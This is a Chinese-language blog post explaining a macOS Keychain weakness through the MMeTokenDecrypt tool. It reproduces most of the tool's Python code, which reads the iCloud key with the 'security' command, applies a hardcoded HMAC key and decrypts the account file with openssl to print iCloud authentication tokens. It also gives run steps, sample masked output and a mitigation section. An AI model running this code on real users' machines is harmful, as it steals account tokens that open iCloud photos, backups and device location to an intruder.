美文网首页程序员代码改变世界
macOS系统下KeyChain的缺陷

macOS系统下KeyChain的缺陷

作者: Mad_Mark | 来源:发表于2017-07-20 13:18 被阅读734次

前言

通过macOS系统中钥匙串访问的缺陷,可以轻易的获取iCloud相关服务的token。而获取到这些token后,就可以访问所有iCloud上的服务项目,比如iCloud Photo, iCloud backup, 查找我的手机等等。 不仅仅是iCloud,其他例如Chrome等token都可以通过这样的方式获得。
本文通过使用并解析MMeTokenDecrypt工具来了解该系统缺陷的利用和实现。

原理

在macOS系统中,只要你打开了iCloud这个服务,你所授权的iCloud相关服务的token,都会经过加密后,存储在/Users/*/Library/Application Support/iCloud/Accounts/ 目录下,以你的iCloud账号命名的一个DSID文件。

这个文件是通过AES-128 CBC和一个空的IV(初始化向量)来加密的。用于解密的秘钥被存储在用户的keychain(钥匙串)中,在钥匙串通过搜索iCloud,你可以看到一个用你iCloud相关账号的邮箱地址命名的条目。

既然存在钥匙串中,那么我们尝试访问的时候会有下图的警告,一旦点击“允许”,相关的token就能被拿到了。而黑客可以通过代码不停的弹出提示直到你点击“允许”。

这个用于解密的秘钥通过base64加密后用于标准MD5 Hmac加密算法的消息体,但是这里还需要一个Hmac的秘钥,它由44个随机字符组成,被存放在macOS系统底层,而这个秘钥在MMeTokenDecrypt的源码中就有。是的,大家的秘钥都一样。有了这个秘钥我们就可以解密DSID文件获取token了。

MMeTokenDecrypt源码

结合以上流程,再来看下MMeTokenDecrypt做了些什么。

1.获取钥匙串中iCloud的应用程序密码,并通过base64进行解密

iCloudKey = subprocess.check_output("security find-generic-password -ws 'iCloud' | awk {'print $1'}", shell=True).replace("\n", "")
if iCloudKey == "":
    print "ERROR getting iCloud Decryption Key"
    sys.exit()
msg = base64.b64decode(iCloudKey)

2.以下代码中的key就是深藏在macOS系统深处的,用于DSID解密的秘钥。
在hmac.new函数中传入这个key和上一步拿到的msg,进行MD5 hash,并做了16进制的转换。

key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
#create Hmac with this key and iCloudKey using md5
hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
hexedKey = binascii.hexlify(hashed) #turn into hex for openssl subprocess

3.这里声明了一个空的IV,随后遍历了/Library/Application Support/iCloud/Accounts/*下的文件,如果有文件则打印出该文件地址

IV = 16 * '0'
mmeTokenFile = glob.glob("%s/Library/Application Support/iCloud/Accounts/*" % os.path.expanduser("~"))
for x in mmeTokenFile:
    try:
        int(x.split("/")[-1]) #if we can cast to int, that means we have the DSID / account file.
        mmeTokenFile = x
    except ValueError:
        continue
if not isinstance(mmeTokenFile, str):
    print "Could not find MMeTokenFile. You can specify the file manually."
    sys.exit()
else:
    print "Decrypting token plist -> [%s]\n" % mmeTokenFile

4.这一步是将之前所有获得的信息,包括IV、和第二步中拿到的key,对上一步得到的文件进行解密。这一步得到的是一个解密后的二进制文件。

#perform decryption with zero dependencies by using openssl binary
decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mmeTokenFile), shell=True)

5.将上一步解密后的二进制文件转成plist文件,并输出。

binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
#convert the binary NSData object into a dictionary object
tokenPlist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
#ta-da
print "Successfully decrypted token plist!\n"
print "%s [%s -> %s]" % (tokenPlist["appleAccountInfo"]["primaryEmail"], tokenPlist["appleAccountInfo"]["fullName"], tokenPlist["appleAccountInfo"]["dsPrsID"])
print tokenPlist["tokens"]

实验过程

实验的过程很简单,先获取MMeTokenDecrypt.py文件,然后在终端中输入:

$ python MMeTokenDecrypt.py

这个源码文件会获取iCloud相关的所有token,并且罗列出来。

如果你所使用的python是通过homebrew安装的,可能会碰到以下错误:

Traceback (most recent call last):
  File "MMeDecrypt.py", line 2, in <module>
    from Foundation import NSData, NSPropertyListSerialization
ImportError: No module named Foundation

你可以尝试指定系统默认的python路径来执行MMeDecrypt.py
比如:

Hola:MMeTokenDecrypt-master clot$ /usr/bin/python MMeDecrypt.py

如果运行正常我们就可以看到相关token打印出来了:

decrypting token plist -> [/Users/myname/Library/Application Support/iCloud/Accounts/1783929130]

Successfully decrypted token plist!

lunattt@keke.com [myname -> 1783929130]
{
    cloudKitToken = "AQAAAABYXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
    mapsToken = "AQAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
    mmeAuthToken = "ABABBAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
    mmeBTMMInfiniteToken = "AQAACCXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
    mmeFMFAppToken = "AQA333XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
    mmeFMIPToken = "AQA222XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
}

应对方案

MMeTokenDecrypt的介绍中也提到了,如果你勾选了“询问钥匙串密码”,就不单单是点击允许就行,还需要输入密码,如果此时用户点击了拒绝,那么黑客就不太容易能够达到重复弹框的目的了。

具体的步骤:

1.打开钥匙串访问,点击左侧的“密码”,搜寻icloud,就会看到你的账号对应的邮箱地址。

参考本文的第一张图

2.右击你的邮箱地址这个条目,选择“显示简介”,再点选“访问控制”。可以看到下方有“询问钥匙串密码”,勾选它。

3.重复1、2操作。这里可能是系统的bug,一次操作后你再看仍然是没有勾选的状态,重复一次操作后就可以了。

4.随后你再尝试访问iCloud keychain时就会提示你需要输入密码了,而不是简单的点击允许。


以上。

相关文章

网友评论

    本文标题:macOS系统下KeyChain的缺陷

    本文链接:https://www.haomeiwen.com/subject/nqidkxtx.html